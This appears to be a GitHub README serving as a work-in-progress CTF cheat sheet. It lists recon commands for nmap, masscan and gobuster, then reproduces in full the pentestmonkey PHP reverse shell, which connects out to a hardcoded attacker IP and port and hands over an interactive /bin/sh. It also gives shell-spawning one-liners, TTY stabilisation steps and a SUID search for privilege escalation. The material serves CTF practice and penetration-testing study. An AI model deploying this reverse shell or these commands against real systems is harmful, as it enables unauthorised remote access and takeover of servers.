Its still a work-in-progress
| README.md | ||
CTF_CheatSheet
Stage 1 - Lay of the Land
enumeration
-
Passive Recon
- Shodan
- Wayback Machine
- The Harvester
-
Active Recon
- Nmap
- Masscan
- Network discovery
- RPCClient
- Enum4all
-
List all the subdirectories and files
- Gobuster
- Backup File Artifacts Checker
-
Web Vulnerabilities
- Repository Github
- Burp
- Web Checklist
- Nikto
- Payment functionality
-
Basic Scan
sudo nmap -sSV -p- IP -oA nmap/initial -T4
sudo nmap -sSV -oA OUTPUTFILE -T4 -iL INPUTFILE.csv
-
-sSV defines the type of packet to send to the server and tells Nmap to try and determine any service on open ports
-
-p- tells Nmap to check all 65,535 ports (by default it will only check the most popular 1,000)
-
-oA OUTPUTFILE tells Nmap to output the findings in its three major formats at once using the filename "OUTPUTFILE"
-
-iL INPUTFILE tells Nmap to use the provided file as inputs
-
CTF Scan
nmap -sV -sC -oA nmap/basic IP
- -sV : Probe open ports to determine service/version info
- -sC : to enable the script
- -oA : to save the results
After this quick command you can add "-p-" to run a full scan while you work with the previous result
nmap -sV -sC -oA -p- nmap/initial IP
- Aggressive Nmap
nmap -A -T4 scanme.nmap.org
-
-A: Enable OS detection, version detection, script scanning, and traceroute
-
-T4: Defines the timing for the task (options are 0-5 and higher is faster)
-
Masscan
masscan IP -p 1-65535 --rate 100 -oX masscan.xml
- Using DirBuster or GoBuster
./gobuster -u http://buffered.io/ -w /secondary/wordlists/more-lists/dirb/ -t 10
-u url
-w wordlist
-t threads
More subdomain :
./gobuster -m dns -w subdomains.txt -u google.com -i
gobuster -w wordlist -u URL -r -e /secondary/wordlists/more-lists/dirb/
Stage 2 - Foothold
Attacking
- PHP Reverse Shell
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. The author accepts no liability
// for damage caused by this tool. If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1'; // CHANGE THIS
$port = 1234; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
Spawning a Shell
To check if the shell is a tty shell, just enter tty command like the following.
tty
not a tty
tty
/dev/pts/0
Here are some commands which will enable you to spawn a tty shell: Python:
This is the most popular method for spawnings a tty shell. The target server should have python or python3 installed.
| Methord | Command |
|---|---|
| Python3 | python -c "import pty;pty.spawn('/bin/bash')" |
| * Echo: | echo 'os.system('/bin/bash')' |
| * sh: | /bin/sh -i |
| * Bash: | /bin/bash -i |
| * Perl: | perl -e 'exec "/bin/sh";' |
| * Ruby: | ruby: exec "/bin/sh" |
| * Lua: | lua: os.execute('/bin/sh') |
| * From within vi: | :!bash , :set shell=/bin/bash:shell |
| * From within nmap: | !sh |
Ctrl+Z
stty raw -echo
fg
export TERM=xterm
Stage 3
Lets Have a Look Around
- PEASS-ng
- GTFObins
- Linux Tools
Command find / -type f -user root -perm -4000 2>/dev/null